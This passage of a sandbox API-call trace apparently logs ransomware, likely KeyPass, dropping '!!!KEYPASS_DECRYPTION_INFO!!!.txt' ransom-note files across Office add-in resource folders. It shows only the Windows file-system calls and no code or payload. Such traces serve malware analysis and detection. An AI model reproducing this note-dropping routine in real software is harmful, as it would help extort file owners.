dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x958 [0255.417] GetFileType (hFile=0x958) returned 0x1 [0255.417] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.417] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.417] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.418] WriteFile (in: hFile=0x958, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.418] WriteFile (in: hFile=0x958, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.418] CloseHandle (hObject=0x958) returned 1 [0255.419] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a778 [0255.419] FindNextFileW (in: hFindFile=0x3a0a778, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.419] FindNextFileW (in: hFindFile=0x3a0a778, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.419] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.419] FindNextFileW (in: hFindFile=0x3a0a778, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.419] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.419] FindNextFileW (in: hFindFile=0x3a0a778, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.419] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.419] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.419] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.419] GetLastError () returned 0x3f0 [0255.419] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.419] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1058\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x960 [0255.421] GetFileType (hFile=0x960) returned 0x1 [0255.421] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.421] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.421] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.422] WriteFile (in: hFile=0x960, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.422] WriteFile (in: hFile=0x960, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.422] CloseHandle (hObject=0x960) returned 1 [0255.423] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a0b8 [0255.423] FindNextFileW (in: hFindFile=0x3a0a0b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.423] FindNextFileW (in: hFindFile=0x3a0a0b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.423] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.423] FindNextFileW (in: hFindFile=0x3a0a0b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.423] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.423] FindNextFileW (in: hFindFile=0x3a0a0b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.423] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.423] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.423] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.423] GetLastError () returned 0x3f0 [0255.423] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.423] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1060\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x964 [0255.425] GetFileType (hFile=0x964) returned 0x1 [0255.425] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.425] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.425] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.425] WriteFile (in: hFile=0x964, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.426] WriteFile (in: hFile=0x964, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.426] CloseHandle (hObject=0x964) returned 1 [0255.426] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a4f8 [0255.426] FindNextFileW (in: hFindFile=0x3a0a4f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.426] FindNextFileW (in: hFindFile=0x3a0a4f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.426] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.426] FindNextFileW (in: hFindFile=0x3a0a4f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.426] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.426] FindNextFileW (in: hFindFile=0x3a0a4f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.427] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.427] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.427] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.427] GetLastError () returned 0x3f0 [0255.427] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.427] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1061\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x968 [0255.432] GetFileType (hFile=0x968) returned 0x1 [0255.432] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.432] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.432] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.432] WriteFile (in: hFile=0x968, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.433] WriteFile (in: hFile=0x968, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.434] CloseHandle (hObject=0x968) returned 1 [0255.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a538 [0255.434] FindNextFileW (in: hFindFile=0x3a0a538, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.434] FindNextFileW (in: hFindFile=0x3a0a538, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.434] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.434] FindNextFileW (in: hFindFile=0x3a0a538, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.434] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.434] FindNextFileW (in: hFindFile=0x3a0a538, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.434] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.434] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.434] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.434] GetLastError () returned 0x3f0 [0255.435] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.435] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1062\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x95c [0255.438] GetFileType (hFile=0x95c) returned 0x1 [0255.438] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.438] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.438] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.439] WriteFile (in: hFile=0x95c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.439] WriteFile (in: hFile=0x95c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.440] CloseHandle (hObject=0x95c) returned 1 [0255.440] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a838 [0255.440] FindNextFileW (in: hFindFile=0x3a0a838, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.440] FindNextFileW (in: hFindFile=0x3a0a838, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.440] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.440] FindNextFileW (in: hFindFile=0x3a0a838, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.440] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.440] FindNextFileW (in: hFindFile=0x3a0a838, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.441] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.441] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.441] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.441] GetLastError () returned 0x3f0 [0255.441] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.441] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1063\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x96c [0255.442] GetFileType (hFile=0x96c) returned 0x1 [0255.442] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.442] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.442] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.442] WriteFile (in: hFile=0x96c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.443] WriteFile (in: hFile=0x96c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.443] CloseHandle (hObject=0x96c) returned 1 [0255.444] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a3b8 [0255.444] FindNextFileW (in: hFindFile=0x3a0a3b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.444] FindNextFileW (in: hFindFile=0x3a0a3b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.444] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.444] FindNextFileW (in: hFindFile=0x3a0a3b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.444] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.444] FindNextFileW (in: hFindFile=0x3a0a3b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.444] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.444] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.444] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.444] GetLastError () returned 0x3f0 [0255.444] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.444] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1066\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x970 [0255.445] GetFileType (hFile=0x970) returned 0x1 [0255.446] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.446] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.446] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.446] WriteFile (in: hFile=0x970, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.447] WriteFile (in: hFile=0x970, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.447] CloseHandle (hObject=0x970) returned 1 [0255.447] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a6b8 [0255.447] FindNextFileW (in: hFindFile=0x3a0a6b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.447] FindNextFileW (in: hFindFile=0x3a0a6b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.447] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.447] FindNextFileW (in: hFindFile=0x3a0a6b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.447] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.447] FindNextFileW (in: hFindFile=0x3a0a6b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.447] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.447] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.448] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.448] GetLastError () returned 0x3f0 [0255.448] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.448] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel 